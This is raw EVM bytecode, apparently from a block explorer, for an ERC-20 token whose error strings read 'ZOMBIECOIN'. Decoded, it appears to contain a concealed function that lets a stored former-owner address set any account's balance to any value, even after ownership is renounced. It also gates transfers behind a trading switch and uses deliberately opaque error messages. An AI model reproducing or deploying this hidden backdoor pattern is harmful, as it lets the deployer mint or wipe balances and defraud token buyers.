576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059590611e74565b60405180910390fd5b6105bb856105aa610a9c565b85846105b69190611ebf565b610aa3565b60019150509392505050565b5f6009905090565b5f61066c6105db610a9c565b848460035f6105e8610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106679190611ef2565b610aa3565b6001905092915050565b5f5f3390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016106b29190611f6a565b6040516020818303038152906040528051906020012090505f826040516020016106dc9190611f6a565b6040516020818303038152906040528051906020012090505f865f1b90505f8284149050801561071d576107108983610f50565b965050505050505061072f565b61072689610fe0565b96505050505050505b92915050565b61073d611026565b600160075f6101000a81548160ff021916908315150217905550565b60095481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107ad611026565b6107b65f6110a4565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107ee90611dd4565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90611dd4565b80156108655780601f1061083c57610100808354040283529160200191610865565b820191905f5260205f20905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f5f60035f610899610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a90611ff4565b60405180910390fd5b61097061095e610a9c565b85858461096b9190611ebf565b610aa3565b600191505092915050565b5f61098e610987610a9c565b8484610c66565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a22611026565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8790612082565b60405180910390fd5b610a99816110a4565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b08906120ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7690612152565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c599190611c79565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb906121ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990612222565b60405180910390fd5b610d4d8383836111a5565b5f810315610f4b57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f3f575f610e23600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661075f565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a9061228a565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f0a5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f3e575f6064600b5483610f2091906122a8565b610f2a9190612316565b9050610f388484848461157d565b50610f4b565b5b610f4a83838361186d565b5b505050565b5f5f825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61102e610a9c565b73ffffffffffffffffffffffffffffffffffffffff1661104c6107b8565b73ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990612390565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60075f9054906101000a900460ff1661157757600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112565750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611576576008548111156112a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611297906123f8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114c857600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611382919061242a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142c919061242a565b6040518363ffffffff1660e01b8152600401611449929190612455565b602060405180830381865afa158015611464573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611488919061242a565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315611578576009548161152a8461075f565b6115349190611ef2565b1115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c906124ec565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e290612554565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611650906125bc565b60405180910390fd5b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d490612624565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818361172d9190611ebf565b92508160045f8282546117409190611ebf565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546117939190611ef2565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117f99190611c79565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185e9190611c79565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d29061268c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611949576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611940906126f4565b60405180910390fd5b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c49061275c565b60405180910390fd5b81816119d99190611ebf565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a669190611ef2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aca9190611c79565b60405180910390a350505050565b5f8115159050919050565b611aec81611ad8565b82525050565b5f602082019050611b055f830184611ae3565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611b4d82611b0b565b611b578185611b15565b9350611b67818560208601611b25565b611b7081611b33565b840191505092915050565b5f6020820190508181035f830152611b938184611b43565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bc882611b9f565b9050919050565b611bd881611bbe565b8114611be2575f5ffd5b50565b5f81359050611bf381611bcf565b92915050565b5f819050919050565b611c0b81611bf9565b8114611c15575f5ffd5b50565b5f81359050611c2681611c02565b92915050565b5f5f60408385031215611c4257611c41611b9b565b5b5f611c4f85828601611be5565b9250506020611c6085828601611c18565b9150509250929050565b611c7381611bf9565b82525050565b5f602082019050611c8c5f830184611c6a565b92915050565b5f5f5f60608486031215611ca957611ca8611b9b565b5b5f611cb686828701611be5565b9350506020611cc786828701611be5565b9250506040611cd886828701611c18565b9150509250925092565b5f60ff82169050919050565b611cf781611ce2565b82525050565b5f602082019050611d105f830184611cee565b92915050565b5f60208284031215611d2b57611d2a611b9b565b5b5f611d3884828501611be5565b91505092915050565b611d4a81611bbe565b82525050565b5f602082019050611d635f830184611d41565b92915050565b5f5f60408385031215611d7f57611d7e611b9b565b5b5f611d8c85828601611be5565b9250506020611d9d85828601611be5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611deb57607f821691505b602082108103611dfe57611dfd611da7565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611e5e602883611b15565b9150611e6982611e04565b604082019050919050565b5f6020820190508181035f830152611e8b81611e52565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ec982611bf9565b9150611ed483611bf9565b9250828203905081811115611eec57611eeb611e92565b5b92915050565b5f611efc82611bf9565b9150611f0783611bf9565b9250828201905080821115611f1f57611f1e611e92565b5b92915050565b5f8160601b9050919050565b5f611f3b82611f25565b9050919050565b5f611f4c82611f31565b9050919050565b611f64611f5f82611bbe565b611f42565b82525050565b5f611f758284611f53565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611fde602583611b15565b9150611fe982611f84565b604082019050919050565b5f6020820190508181035f83015261200b81611fd2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61206c602683611b15565b915061207782612012565b604082019050919050565b5f6020820190508181035f83015261209981612060565b9050919050565b7f375a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f6120d4600b83611b15565b91506120df826120a0565b602082019050919050565b5f6020820190508181035f830152612101816120c8565b9050919050565b7f385a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f61213c600b83611b15565b915061214782612108565b602082019050919050565b5f6020820190508181035f83015261216981612130565b9050919050565b7f395a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f6121a4600b83611b15565b91506121af82612170565b602082019050919050565b5f6020820190508181035f8301526121d181612198565b9050919050565b7f305a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f61220c600b83611b15565b9150612217826121d8565b602082019050919050565b5f6020820190508181035f83015261223981612200565b9050919050565b7f5a4f4d424945434f494e5a4f4d424945434f494e0000000000000000000000005f82015250565b5f612274601483611b15565b915061227f82612240565b602082019050919050565b5f6020820190508181035f8301526122a181612268565b9050919050565b5f6122b282611bf9565b91506122bd83611bf9565b92508282026122cb81611bf9565b915082820484148315176122e2576122e1611e92565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61232082611bf9565b915061232b83611bf9565b92508261233b5761233a6122e9565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61237a602083611b15565b915061238582612346565b602082019050919050565b5f6020820190508181035f8301526123a78161236e565b9050919050565b7f5a4f4d424945434f494e5a4f4d424945434f494e5a4f4d424945434f494e00005f82015250565b5f6123e2601e83611b15565b91506123ed826123ae565b602082019050919050565b5f6020820190508181035f83015261240f816123d6565b9050919050565b5f8151905061242481611bcf565b92915050565b5f6020828403121561243f5761243e611b9b565b5b5f61244c84828501612416565b91505092915050565b5f6040820190506124685f830185611d41565b6124756020830184611d41565b9392505050565b7f5a4f4d424945434f494e5a4f4d424945434f494e5a4f4d424945434f494e5a4f5f8201527f4d424945434f494e000000000000000000000000000000000000000000000000602082015250565b5f6124d6602883611b15565b91506124e18261247c565b604082019050919050565b5f6020820190508181035f830152612503816124ca565b9050919050565b7f345a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f61253e600b83611b15565b91506125498261250a565b602082019050919050565b5f6020820190508181035f83015261256b81612532565b9050919050565b7f355a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f6125a6600b83611b15565b91506125b182612572565b602082019050919050565b5f6020820190508181035f8301526125d38161259a565b9050919050565b7f365a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f61260e600b83611b15565b9150612619826125da565b602082019050919050565b5f6020820190508181035f83015261263b81612602565b9050919050565b7f315a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f612676600b83611b15565b915061268182612642565b602082019050919050565b5f6020820190508181035f8301526126a38161266a565b9050919050565b7f325a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f6126de600b83611b15565b91506126e9826126aa565b602082019050919050565b5f6020820190508181035f83015261270b816126d2565b9050919050565b7f335a4f4d424945434f494e0000000000000000000000000000000000000000005f82015250565b5f612746600b83611b15565b915061275182612712565b602082019050919050565b5f6020820190508181035f8301526127738161273a565b905091905056fea2646970667358221220966b599d6d57bb9e6d796cd8a36abb05bfa5fae0707fef3afd6149142cfa3fc664736f6c634300081c00330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561000f575f5ffd5b506004361061012a575f3560e01c80636a8f3b30116100ab57806398636f321161006f57806398636f3214610322578063a457c2d714610352578063a9059cbb14610382578063dd62ed3e146103b2578063f2fde38b146103e25761012a565b80636a8f3b301461028e57806370a08231146102ac578063715018a6146102dc5780638da5cb5b146102e657806395d89b41146103045761012a565b806323b872dd116100f257806323b872dd146101d6578063313ce567146102065780633950935114610224578063562c21951461025457806362256589146102845761012a565b806303435b7f1461012e57806306fdde031461014c578063095ea7b31461016a57806313c42e4d1461019a57806318160ddd146101b8575b5f5ffd5b6101366103fe565b6040516101439190611af2565b60405180910390f35b610154610410565b6040516101619190611b7b565b60405180910390f35b610184600480360381019061017f9190611c2c565b6104a0565b6040516101919190611af2565b60405180910390f35b6101a26104bd565b6040516101af9190611c79565b60405180910390f35b6101c06104c3565b6040516101cd9190611c79565b60405180910390f35b6101f060048036038101906101eb9190611c92565b6104cc565b6040516101fd9190611af2565b60405180910390f35b61020e6105c7565b60405161021b9190611cfd565b60405180910390f35b61023e60048036038101906102399190611c2c565b6105cf565b60405161024b9190611af2565b60405180910390f35b61026e60048036038101906102699190611c2c565b610676565b60405161027b9190611c79565b60405180910390f35b61028c610735565b005b610296610759565b6040516102a39190611c79565b60405180910390f35b6102c660048036038101906102c19190611d16565b61075f565b6040516102d39190611c79565b60405180910390f35b6102e46107a5565b005b6102ee6107b8565b6040516102fb9190611d50565b60405180910390f35b61030c6107df565b6040516103199190611b7b565b60405180910390f35b61033c60048036038101906103379190611d16565b61086f565b6040516103499190611af2565b60405180910390f35b61036c60048036038101906103679190611c2c565b61088c565b6040516103799190611af2565b60405180910390f35b61039c60048036038101906103979190611c2c565b61097b565b6040516103a99190611af2565b60405180910390f35b6103cc60048036038101906103c79190611d69565b610998565b6040516103d99190611c79565b60405180910390f35b6103fc60048036038101906103f79190611d16565b610a1a565b005b60075f9054906101000a900460ff1681565b60606005805461041f90611dd4565b80601f016020809104026020016040519081016040528092919081815260200182805461044b90611dd4565b80156104965780601f1061046d57610100808354040283529160200191610496565b820191905f5260205f20905b81548152906001019060200180831161047957829003601f168201915b5050505050905090565b5f6104b36104ac610a9c565b8484610aa3565b6001905092915050565b60085481565b5f600454905090565b5f6104d8848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051f610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561059e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059590611e74565b60405180910390fd5b6105bb856105aa610a9c565b85846105b69190611ebf565b610aa3565b60019150509392505050565b5f6009905090565b5f61066c6105db610a9c565b848460035f6105e8610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106679190611ef2565b610aa3565b6001905092915050565b5f5f3390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016106b29190611f6a565b6040516020818303038152906040528051906020012090505f826040516020016106dc9190611f6a565b6040516020818303038152906040528051906020012090505f865f1b90505f8284149050801561071d576107108983610f50565b965050505050505061072f565b61072689610fe0565b96505050505050505b92915050565b61073d611026565b600160075f6101000a81548160ff021916908315150217905550565b60095481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107ad611026565b6107b65f6110a4565b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107ee90611dd4565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90611dd4565b80156108655780601f1061083c57610100808354040283529160200191610865565b820191905f5260205f20905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f5f60035f610899610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a90611ff4565b60405180910390fd5b61097061095e610a9c565b85858461096b9190611ebf565b610aa3565b600191505092915050565b5f61098e610987610a9c565b8484610c66565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a22611026565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8790612082565b60405180910390fd5b610a99816110a4565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b08906120ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7690612152565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c599190611c79565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb906121ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990612222565b60405180910390fd5b610d4d8383836111a5565b5f810315610f4b57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f3f575f610e23600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661075f565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a9061228a565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f0a5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f3e575f6064600b5483610f2091906122a8565b610f2a9190612316565b9050610f388484848461157d565b50610f4b565b5b610f4a83838361186d565b5b505050565b5f5f825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61102e610a9c565b73ffffffffffffffffffffffffffffffffffffffff1661104c6107b8565b73ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990612390565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60075f9054906101000a900460ff1661157757600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112565750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611576576008548111156112a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611297906123f8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114c857600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611382919061242a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142c919061242a565b6040518363ffffffff1660e01b8152600401611449929190612455565b602060405180830381865afa158015611464573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611488919061242a565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315611578576009548161152a8461075f565b6115349190611ef2565b1115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c906124ec565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e290612554565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611650906125bc565b60405180910390fd5b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d490612624565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818361172d9190611ebf565b92508160045f8282546117409190611ebf565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546117939190611ef2565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117f99190611c79565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185e9190611c79565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d29061268c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611949576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611940906126f4565b60405180910390fd5b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c49061275c565b60405180910390fd5b81816119d99190611ebf565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a669190611ef2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aca9190611c79565b60405180910390a350505050565b5f8115159050919050565b611aec81611ad8565b82525050565b5f602082019050611b055f830184611ae3565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611b4d82611b0b565b611b578185611b15565b9350611b67818560208601611b25565b611b7081611b33565b840191505092915050565b5f6020820190508181035f830152611b938184611b43565b905092915050565b5f5ffd5b5f73ffffffffffffffffff